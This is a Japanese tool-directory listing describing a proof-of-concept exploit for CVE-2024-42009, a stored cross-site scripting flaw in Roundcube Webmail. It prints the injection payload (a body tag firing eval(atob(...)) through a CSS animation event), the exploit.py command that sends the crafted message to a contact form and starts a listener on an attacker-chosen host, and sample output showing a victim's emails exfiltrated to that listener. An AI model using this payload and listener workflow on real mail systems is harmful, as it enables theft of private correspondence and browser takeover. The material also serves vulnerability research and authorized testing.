Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-42009-PoC — CVE-2024-42009 概念実証 | Kitploit
ツール/GitHubGitHub/danithehack3r/cve-2024-42009-poc
フィッシングツールエクスプロイトウェブアプリケーション悪用データ流出学習と教育メールセキュリティ
GitHubdanithehack3r/cve-2024-42009-poc

CVE-2024-42009-PoC

CVE-2024-42009 概念実証

リポジトリを見る
711年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-42009 PoC:Roundcube Webmail におけるメールキャプチャリスナー&XSSエクスプロイト

概要

このリポジトリには、Roundcube Webmail バージョン 1.6.7 およびその他の複数バージョンに存在する格納型クロスサイトスクリプティング(XSS)脆弱性 CVE-2024-42009 の概念実証(PoC)エクスプロイトが含まれています。このエクスプロイトは、攻撃者がメッセージ内に悪意のある JavaScript を注入し、メッセージ内の HTML を解析する際の脱サニタイズの問題を悪用する方法を示しています。この例では、被害者の受信箱からメールコンテンツを窃取したり、さらには被害者のブラウザを乗っ取ったりするために使用できます。

脆弱性の詳細

CVE の説明

Roundcube 1.5.7 までおよび 1.6.x の 1.6.7 までに存在するクロスサイトスクリプティング(XSS)脆弱性により、リモートの攻撃者が program/actions/mail/show.php の message_body() における脱サニタイズの問題を悪用した巧妙に細工された電子メールメッセージを介して、被害者のメールを盗み見たり送信したりすることが可能になります。

XSS ペイロードの説明(この例の場合)

このエクスプロイトは、XSS 実行に CSS アニメーションのトリガーを使用します:

root@kitploit:~
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>

body 要素は div として解析されるため、それに適応する必要があります。そのため、onanimationstart 属性を使用して eval 関数を呼び出し、そこから複雑な JavaScript 呼び出しを実行します。エクスプロイトの仕組みや Roundcube の脆弱性の場所についてさらに詳しく知りたい場合は、この記事 をお読みください。

適用範囲

  • このエクスプロイトは Roundcube Webmail バージョン 1.6.7 でのみテストされています
  • 被害者がメッセージを開いて内容を表示する必要があります
  • Content Security Policy(CSP)が適切に設定されている場合は失敗する可能性があります

使用方法

依存関係

必要な Python パッケージをインストールします:

root@kitploit:~
python3 -m venv venv
python3 -m pip install -r requirements

コマンドライン引数

root@kitploit:~
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
  • ターゲット URL: ここでは、メッセージを処理して転送する問い合わせフォームのエンドポイントを使用しています(例:http://email.company.local/contact)
  • 受信者メール: 悪意のあるメッセージを受信する有効なメールアドレス
  • リスナーホスト: ターゲットからアクセス可能なあなたのマシンの IP アドレス
  • リスナーポート: HTTP サーバー用の利用可能なポート(例:4444)

使用例

root@kitploit:~
python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444

期待される出力

root@kitploit:~
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]  
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!

------------------------------------------------------------
📧 EMAIL UID: 1  
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------

[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!

参考文献

脆弱性調査

  • SonarSource ブログ:政府メールが危険にさらされる - Roundcube Webmail における重大なクロスサイトスクリプティング脆弱性
  • SonarSource デモンストレーションビデオ

法的免責事項

⚠️ 重要: この概念実証(PoC)は、教育および許可されたテスト目的のみで提供されています。責任を持って使用してください。本アカウントは、他者によって引き起こされたいかなる損害についても責任を負いません。

ツールをダウンロード